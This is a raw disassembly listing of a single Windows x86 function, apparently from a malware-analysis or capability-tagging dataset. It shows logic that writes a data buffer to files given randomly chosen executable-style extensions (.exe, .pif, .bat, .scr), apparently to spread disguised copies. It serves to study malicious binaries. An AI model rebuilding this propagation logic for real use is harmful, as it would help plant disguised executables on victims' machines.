Function at 0x4109c7
Capabilities:
Check for time delay via gettickcount
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x210]
push eax
call edi
push 0x42a3c0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp + 0xc], 0
je 0x410ae7
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
mov esi, eax
add esi, ebx
mov al, byte [esi]
cmp al, 0x5c
je 0x410a3a
cmp al, 0x2f
jne 0x410a3b
jmp 0x410a3a
cmp al, 0x2f
je 0x410a41
cmp esi, ebx
jbe 0x410a41
dec esi
mov al, byte [esi]
cmp al, 0x5c
jne 0x410a32
inc esi
push 0x42a450
push esi
call fcn.00413394
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x410a61
inc ebx
push ebx
call edi
cmp eax, 5
jl 0x410a61
push ebx
jmp 0x410a62
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call edi
lea esi, [ebp + eax - 0x210]
lea eax, [esi - 1]
mov cl, byte [eax]
cmp cl, 0x5c
je 0x410a8e
cmp cl, 0x2f
jne 0x410a93
mov esi, eax
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
pop ecx
call fcn.00421662
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jg 0x410b2c
cmp byte [0x44f780], 0
jne 0x410b16
cmp byte [0x44f781], 0
je 0x410b2c
mov eax, dword [0x44f790]
mov dword [ebp + 8], eax
mov eax, dword [0x44f788]
mov dword [ebp - 8], 0x44f77c
mov dword [ebp - 4], eax
mov byte [ebp + 0xf], 0
jmp 0x410b6b
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp + eax - 0x210]
push eax
call fcn.00407741
pop ecx
lea eax, [ebp - 0x210]
push eax
call esi
lea esi, [ebp + eax - 0x210]
jmp 0x410a99
mov eax, dword [0x44f78c]
mov dword [ebp + 8], eax
mov eax, dword [0x44f784]
mov dword [ebp - 8], 0x44f778
jmp 0x410adb
cmp byte [0x44f768], 0
je 0x410b43
mov eax, dword [0x44f76c]
mov dword [ebp - 8], 0x44f760
jmp 0x410b5c
cmp byte [0x44f769], 0
je 0x410c87
mov eax, dword [0x44f770]
mov dword [ebp - 8], 0x44f764
mov dword [ebp - 4], eax
mov eax, dword [0x44f774]
mov dword [ebp + 8], eax
mov byte [ebp + 0xf], 1
cmp dword [ebp - 4], 0
je 0x410c87
mov eax, dword [ebp - 8]
inc dword [eax]
cmp byte [ebp + 0xf], 0
je 0x410bbb
movzx ecx, byte [esi - 2]
movzx eax, byte [esi - 3]
add eax, ecx
movzx ecx, byte [esi - 1]
add eax, ecx
push 6
cdq
pop ecx
idiv ecx
dec edx
je 0x410bb4
dec edx
je 0x410bad
dec edx
je 0x410ba6
push str..exe
jmp 0x410bc0
push str..pif
jmp 0x410bc0
push str..bat
jmp 0x410bc0
push str..scr
jmp 0x410bc0
push str..rar
push esi
call edi
and dword [ebp - 0xc], 0
mov esi, 0x80
cmp byte [0x448054], 0
jne 0x410c04
lea eax, [ebp - 0x210]
push eax
call fcn.004136ca
test eax, eax
pop ecx
je 0x410c04
cmp byte [ebp + 0xf], 0
je 0x410c82
lea eax, [ebp - 0x210]
push eax
call fcn.0041345e
cmp eax, 0x61a80
pop ecx
jae 0x410c82
and dword [ebp - 0x10], 0
mov ebx, dword [ebp + 8]
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x410c6e
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test ebx, ebx
jbe 0x410c6e
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, ebx
add eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x410c6e
sub ebx, dword [ebp - 0x10]
jne 0x410c4c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 5
jl 0x410bcc
mov eax, dword [ebp - 8]
dec dword [eax]
pop edi
pop esi
pop ebx
leave
ret